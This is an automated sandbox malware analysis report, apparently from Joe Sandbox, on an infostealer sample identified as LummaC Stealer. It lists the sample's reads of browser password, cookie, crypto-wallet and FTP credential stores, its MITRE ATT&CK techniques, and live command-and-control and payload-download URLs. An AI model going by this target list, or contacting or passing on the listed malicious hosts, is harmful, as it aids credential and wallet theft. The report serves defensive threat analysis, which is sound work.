Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1500790894.000000000140F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7408, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	751 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.16:80/off/def.exePackages	0%	Avira URL Cloud	safe
https://atten-supporse.biz/-G	0%	Avira URL Cloud	safe
https://atten-supporse.biz/V	0%	Avira URL Cloud	safe
https://atten-supporse.biz:443/apil	0%	Avira URL Cloud	safe
https://atten-supporse.biz/F	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apitEO	0%	Avira URL Cloud	safe
https://atten-supporse.biz/EA	0%	Avira URL Cloud	safe
https://atten-supporse.biz/n	0%	Avira URL Cloud	safe
https://atten-supporse.biz/api5	0%	Avira URL Cloud	safe
https://atten-supporse.biz/V	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	172.67.165.166	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://atten-supporse.biz/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
https://atten-supporse.biz:443/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_114.7.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/F	file.exe, 00000000.00000002.1781545106.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exePackages	file.exe, 00000000.00000003.1722956807.0000000001391000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_114.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://atten-supporse.biz/V	file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://atten-supporse.biz:443/apil	file.exe, 00000000.00000003.1619473736.0000000001391000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.0000000001391000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_114.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_105.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_114.7.dr	false		high
http://185.215.113.16/steam/random.exev	file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/-G	file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_114.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_114.7.dr, chromecache_78.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://github.com/gewarren	chromecache_114.7.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1781491177.00000000012FB000.00000004.00000010.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/apiK	file.exe, 00000000.00000003.1619473736.0000000001391000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.0000000001391000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://atten-supporse.biz/EA	file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_114.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_114.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_114.7.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://aka.ms/certhelp	chromecache_93.7.dr, chromecache_105.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_114.7.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_105.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1448673793.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_114.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_114.7.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apitEO	file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz/f	file.exe, 00000000.00000002.1781545106.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_93.7.dr, chromecache_105.7.dr	false		high
http://185.215.113.16/off/def.exe=	file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_114.7.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/n	file.exe, 00000000.00000002.1781545106.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619473736.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_93.7.dr, chromecache_105.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1447562153.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api5	file.exe, 00000000.00000003.1619585653.0000000001413000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1619408240.000000000140A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_93.7.dr, chromecache_105.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1780084081.0000000001408000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1781839404.0000000001409000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1781839404.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1780084081.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722872707.0000000001428000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_114.7.dr	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.1722956807.00000000013F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1365379056.0000000005D8B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365306341.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_93.7.dr, chromecache_105.7.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1448973205.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.7
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565982
Start date and time:	2024-12-01 03:31:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 40s
